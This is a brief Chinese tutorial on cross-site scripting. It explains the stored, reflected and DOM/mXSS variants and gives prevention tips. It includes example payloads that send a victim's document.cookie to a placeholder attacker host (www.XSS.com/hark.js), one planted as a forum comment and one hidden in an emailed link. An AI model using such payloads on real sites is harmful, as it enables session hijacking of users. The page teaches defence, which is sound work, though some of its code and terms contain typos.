XSS(Cross-site-Script跨站脚本攻击)
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。
攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS根据攻击脚本的引入位置来区分为存储型XSS、反射型XSS以及MXSS(也叫DOM XSS)三种
存储型XSS
假设有一个论坛存在XSS漏洞,某A用户在该论坛的一篇帖子中留言:
<script>window.open("http://www.XSS.com/hark.js?msg=''+document.cookie")<script>
这个留言会被存储在服务器端。当其他用户看到这条评论,点击后相当于打开了页面,执行了hark.js,docum.cookie就获取了你的Cookie,并发送到了A用户的网站进行保存,然后A用户就可以利用这些Cookie进行登录了。
上述这种攻击,提交的代码会被存储在服务器端,下次请求目标网站时不用再提交XSS代码。所以这种类型的主要原因是前端提交的数据未经处理直接存储到数据库,然后从数据库中读取出来后直接插入到页面中导致的。
反射型XSS
假设还是上述网站存在XSS漏洞,网址是http://www.loudong.com。然后有一天小A在邮件里发现一封邮件,内容是一张你懂得图片然后配下面的标签。
<a href="http://XXX.com?msg=<script src=http://www,XSS.com/hark.js>">你懂得图片</a>
如果A点进去了,且之前登录过XXX网站,那么他的Cookie就被盗走了。
这种XSS攻击属于反射型,发出请求时,XSS代码出现在URL中,作为输入提交到服务器,服务器解析后响应,XSS代码随着响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫做反射型XSS。
MSXX(DOM XSS)
将内容置于innerHTML这种操作,在现在的WEB应用代码中十分常见,根据原文作者的统计,1W个常见的WEB应用中,大约有1/3使用了innerHTML属性,这将会导致潜在的mXSS攻击。
被攻击前:
<p class="a"></p>
被攻击后:
<p class="a"><script>XXX<script></p>
XSS攻击的预防
服务器端
1.将Cookie的HTTP属性,设置为True,不允许JavaScript读取cookies。
2.处理富文本框输入内容,进行XSS过滤,过滤类似script、iframe、form等标签以及转义存储.
客户端
1、输入检查,和服务端一样都要做。
2、输出检查,编码转义,如果使用jquery,就是那些append、html、before、after等,插入DOM的方法需要注意。现今大部分的MV*框架在模板(view层)会自动处理XSS问题。